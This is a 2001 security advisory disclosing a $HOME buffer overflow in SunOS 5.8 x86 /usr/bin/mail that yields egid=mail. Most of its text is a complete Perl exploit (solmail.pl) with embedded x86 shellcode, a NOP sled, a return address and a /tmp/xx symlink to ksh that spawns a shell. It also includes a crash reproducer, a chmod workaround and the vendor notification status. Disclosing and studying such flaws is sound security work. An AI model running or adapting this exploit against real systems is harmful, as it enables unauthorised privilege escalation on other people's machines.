$HOME buffer overflow in SunOS 5.8 x86

[Georgi Guninski <guninski () guninski com>]

Georgi Guninski security advisory #46, 2001

$HOME buffer overflow in SunOS 5.8 x86

Systems affected:
SunOS 5.8 x86 have not tested on other OSes

Risk: Medium
Date: 4 June 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts 
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on 
experiments though it may be false.
The opinions expressed in this advisory and program are my own and 
not of any company. The usual standard disclaimer applies, 
especially the fact that Georgi Guninski is not liable for any damages 
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no 
responsibility for content or misuse of this advisory or program or 
any derivatives thereof.


Description:

There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.


Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C

eip gets smashed with 0x41414141.

Exploit:
-------------solmail.pl----------------------
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
---------------------------------------------

Workaround:
chmod -s /usr/bin/mail

Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.

Regards,
Georgi Guninski
http://www.guninski.com